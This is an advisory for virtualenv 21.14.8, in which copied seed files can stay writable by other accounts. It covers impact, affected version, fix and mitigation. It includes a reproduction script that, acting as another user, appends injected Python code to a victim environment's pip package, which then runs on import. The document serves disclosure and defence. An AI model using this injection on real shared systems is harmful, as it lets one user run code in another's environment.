Advisory

GHSA-fc2g-4w5p-6whm

Details, part 2 of 2. The advisory

Details

`repro.d/other_user_appends_to_pip.py`

import glob
import sys

environment, proof = sys.argv[1:]
(pip_init,) = glob.glob(f"{environment}/lib/python*/site-packages/pip/__init__.py")
added_line = f"\nimport os; open({proof!r}, 'w').write(str(os.getuid()))\n"

try:
    with open(pip_init, "a") as pip_source:
        pip_source.write(added_line)
    print(f"other user: appended a line to {pip_init}")
except PermissionError as error:
    print(f"other user: {error}")

Impact

Copied seed files can remain readable or writable by other accounts despite the current umask. Exposure requires those
accounts to be able to traverse the destination's parent directories. An attacker need not control the private source
cache.

Severity: low.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected
version or exclude earlier releases. Fixed in 21.14.9.

The fix creates destination files with mode 0644, or 0755 for executable sources, filtered further by the
current umask. It does not grant group or world write access, even with a permissive umask. Source modes are not
preserved, including modes more restrictive than this creation policy.

Fix: PR #3425.

Known mitigation

Create environments beneath a directory accessible only to their owner. Recreate environments whose permissions were
inherited from a permissive cache.

Affected release

  • [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-487MH6OW.

Sources & licences